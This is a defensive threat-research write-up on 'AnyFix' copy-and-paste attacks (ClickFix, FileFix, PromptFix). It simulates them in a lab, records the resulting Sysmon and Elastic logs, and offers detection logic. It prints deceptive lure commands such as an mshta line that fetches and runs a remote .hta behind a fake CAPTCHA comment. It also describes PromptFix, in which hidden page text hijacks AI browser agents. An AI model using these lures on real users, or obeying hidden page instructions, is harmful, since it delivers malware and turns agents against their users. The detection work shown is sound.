The "AnyFix" Technique: A Deep Dive into Malicious Copy-and-Paste Attacks¶
This is a deep dive into the family of social engineering techniques we're calling "AnyFix," which includes variants like ClickFix, FileFix, and PromptFix. These attacks have seen rapid adoption by threat actors due to their effectiveness in bypassing traditional security controls by tricking users into executing malicious code. This technique is categorized under MITRE ATT&CK as T1204.004 - User Execution: Malicious Copy and Paste.
Threat Intelligence¶
The "AnyFix" family of social engineering techniques has shown a dramatic increase in adoption by a wide range of threat actors since 2023, from initial access brokers to nation-state groups. These methods exploit user trust in familiar interfaces to achieve code execution, often bypassing traditional defenses because the malicious activity is initiated by the user themselves.
Campaigns delivering malware such as LummaStealer, DarkGate, NetSupport RAT, and various ransomware families have successfully utilized these techniques. Threat actors like the Russian state-backed group Star Blizzard (also known as ColdRiver) and the Interlock ransomware gang have been observed employing ClickFix variants in their operations. The attack often begins with a phishing email, malvertising, or SEO poisoning that directs the user to a malicious webpage.
Attack Variants¶
There are multiple variants known in the "AnyFix" family. More variants are likely to emerge in the future.
ClickFix
The original technique, ClickFix, typically involves a webpage displaying a fake CAPTCHA or an error message. The user is instructed to copy a piece of text and paste it into the Windows Run dialog (Win+R) or a terminal to "fix" the issue. This command is often a PowerShell one-liner that downloads and executes the next stage of the attack.
FileFix
A stealthier evolution, FileFix, instructs the user to paste the malicious command into the Windows File Explorer address bar instead of the Run dialog. This can feel more benign to the user, as they may believe they are simply navigating to a file path. This method can also bypass Mark-of-the-Web (MOTW) warnings that would typically appear for downloaded files.
PromptFix
A newer and more sophisticated variant, PromptFix, targets users of AI-powered browsers and agents. Attackers embed malicious instructions in invisible text on a webpage. While the human user sees a normal page, the AI agent processes the hidden text as a command, potentially leading to actions like drive-by downloads or interacting with phishing sites without the user's knowledge.
References¶
- (Microsoft) Think before you Click(Fix): Analyzing the ClickFix social engineering technique
- (Proofpoint) Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape
- (KQLQuery.com) Investigating ClickFix Incidents
- (mrd0x.com) FileFix - A ClickFix Alternative
- (BleepingComputer) From ClickFix to MetaStealer: Dissecting Evolving Threat Actor Techniques
- (Sekoia) Interlock ransomware evolving under the radar
- (Elastic) A Wretch Client: From ClickFix deception to information stealer deployment
Attack Simulation¶
We simulate parts of the attack to generate logs for further analysis. There are various options available:
Atomic Red Team¶
The Atomic Red Team project develops small and highly portable detection tests. They have created a special test for Clickfix, where Powershell is used to insert a payload as value for the RunMRU registry key. This simulation focuses on the unique registry artifact of the ClickFix technique and does not replicate the full user interaction.
Atomic Red Team test for ClickFix
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches mshta.exe with a remote payload:
Simulated ClickFix & FileFix Page¶
For a more realistic simulation, a static webpage can be crafted and hosted within a lab environment for live interaction from a victim machine. We will host HTML pages using Python on a Kali host and browse to them from a Windows host.
Webpages¶
We use simple HTML with JavaScript to copy the payload to the user's clipboard when a button is clicked, simulating the core mechanism of these attacks.
HTML code for simulated ClickFix page
Embedded code from the 'projects' folder in the GitHub repository. Contains example payload.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | |
Hosting malicious webpage on Kali
Python command to host the malicious HTML files on Kali for the victim client to connect to.
Simulated ClickFix-style page.
??? note "Hosting malicious webpage on Kali" Python command to host the malicious HTML files on Kali for the victim client to connect to.
``` bash
$ ls
clickfix.html filefix.html open_calc.hta
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
HTML code for simulated FileFix page
Embedded code from the 'projects' folder in the GitHub repository. Contains example payload.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 | |
Simulated FileFix-style page.
Payloads¶
There is a large variety of payloads that can be used for these techniques as can be seen in the reports linked on top of this page. One of the first seen payloads in the wild leveraged .HTA files through Mshta. We will be using those to simulate the attack. The main difference between the "AnyFix" variations is the obscurity at the end of the payloads.
Simulated ClickFix Payload in Windows Run Dialog.
Mshta payload
Simulates a user pasting a potentially malicious Mshta command into the Windows run dialog, following a typical ClickFix structure to deceive users. This payload will open the Windows calculator application.
mshta.exe http://192.168.1.100/open_calc.hta # ✅ I am not a robot - Verification ID: 123456 - Press OK
Code for simulated .HTA payload file
Embedded code from the 'projects' folder in the GitHub repository. Contains payload to open Windows Calculator.
[Extra] Powershell payload
Simulates a user pasting a potentially malicious Powershell command into the Windows run dialog, following a typical ClickFix structure to deceive users.
Simulated FileFix Payload in Windows Explorer.
Mshta payload
Simulates a user pasting a potentially malicious Mshta command into the Windows run dialog, following a typical ClickFix structure to deceive users. This payload will open the Windows calculator application.
mshta.exe http://192.168.1.100/open_calc.hta # C:\\company\\internal-secure\\filedrive\\HRPolicy.docx
Code for simulated .HTA payload file
Embedded code from the 'projects' folder in the GitHub repository. Contains payload to open Windows Calculator.
[Extra] Powershell payload
Simulates a user pasting a potentially malicious Powershell command into the Windows Explorer, following a typical FileFix structure to deceive users.
Logs¶
Host¶
Both simulations generated over 250 logs, primarily from Sysmon due to our detailed tracing configuration. The logs from both simulations are very similar, as expected from their parallel attack paths. The key difference lies in the specific registry keys that are modified.
Summary of logs generated by ClickFix simulation. Results are similar for FileFix.
Elastic Defend only captured events related to the calculator process starting. It did not capture any RunMRU registry changes. This may be due to default policy configurations that do not monitor this specific registry key for changes. This highlights a potential visibility gap in some EDR solutions.
Limited logs generated by Elastic Agent.
Sysmon, with an appropriate configuration (see architecture), provided full visibility into the attack chain. It logged the network connection to the malicious HTML page, the subsequent process events, and the modification of the registry. The RunMRU key will contain the payload when a command is executed from the Windows Run dialog.
Logs generated by Sysmon (filtered for relevance).
Similar to the ClickFix simulation, Elastic Defend only captured the calculator process events. Sysmon, however, covered the full attack chain. For FileFix, the interesting registry artifact is the modification of the TypedPaths key, which is updated when a path is entered into the File Explorer address bar when Windows Explorer is opened through a browser (not via CTRL+E).
Logs generated by Sysmon specific to registry changes during the FileFix attack chain.
Detection & Hunting¶
None of the default Elastic rules were triggered during the simulated attack sequence. This underscores the evasive nature of user-initiated execution.
Elastic has published an Elastic Defend detection rule for similar behavior. Below is an adapted version of the EQL query that can be used for creating a detection rule or for threat hunting in Kibana. The original query has been modified to include our findings and remove fields that may not be populated in all environments.
Also see the custom detection rule published in the repository.
- Event action filter: Include process creation events (Elastic Defend and Symon respectively).
- Process name filter: Include high-risk or commonly abused executables used in AnyFix attacks.
- Parent process filter: Restrict to processes launched by Explorer (user-initiated) or a browser (add more browser executables when needed).
- Argument count filter: Only include processes with two or more arguments, indicating significant execution.
- Registry modification: RunMRU (ClickFix) or TypedPaths (FileFix) registry keys written to then process starts.







